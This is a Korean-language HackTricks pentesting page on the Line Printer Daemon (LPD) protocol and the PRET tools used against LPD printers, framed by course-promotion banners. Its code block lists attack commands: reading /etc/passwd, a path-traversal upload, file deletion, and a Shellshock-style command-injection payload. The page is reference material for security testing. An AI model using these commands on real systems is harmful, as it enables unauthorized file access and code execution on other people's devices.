hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

57 lines
4.2 KiB
Markdown

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### **LPD 프로토콜 소개**
1980년대에 **라인 프린터 데몬 (LPD) 프로토콜**이 버클리 유닉스에서 개발되었으며, 이후 RFC1179를 통해 공식화되었습니다. 이 프로토콜은 포트 515/tcp를 통해 작동하며, `lpr` 명령어를 통해 상호작용을 허용합니다. LPD를 통한 인쇄의 본질은 **제어 파일**(작업 세부정보 및 사용자 지정)과 **데이터 파일**(인쇄 정보를 포함) 전송에 있습니다. 제어 파일은 데이터 파일에 대한 **다양한 파일 형식** 선택을 허용하지만, 이러한 파일의 처리는 특정 LPD 구현에 따라 결정됩니다. 유닉스 계열 시스템에서 널리 인식되는 구현은 **LPRng**입니다. 특히, LPD 프로토콜은 **악성 PostScript** 또는 **PJL 인쇄 작업**을 실행하는 데 악용될 수 있습니다.
### **LPD 프린터와 상호작용하기 위한 도구**
[**PRET**](https://github.com/RUB-NDS/PRET)는 `lpdprint``lpdtest`라는 두 가지 필수 도구를 소개하며, LPD 호환 프린터와 상호작용하는 간단한 방법을 제공합니다. 이러한 도구는 데이터를 인쇄하는 것부터 프린터에서 파일을 조작하는 것(다운로드, 업로드 또는 삭제 등)까지 다양한 작업을 가능하게 합니다:
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```
프린터 해킹에 관심이 있는 개인을 위해 포괄적인 리소스를 여기에서 찾을 수 있습니다: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
# Shodan
* `port 515`
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}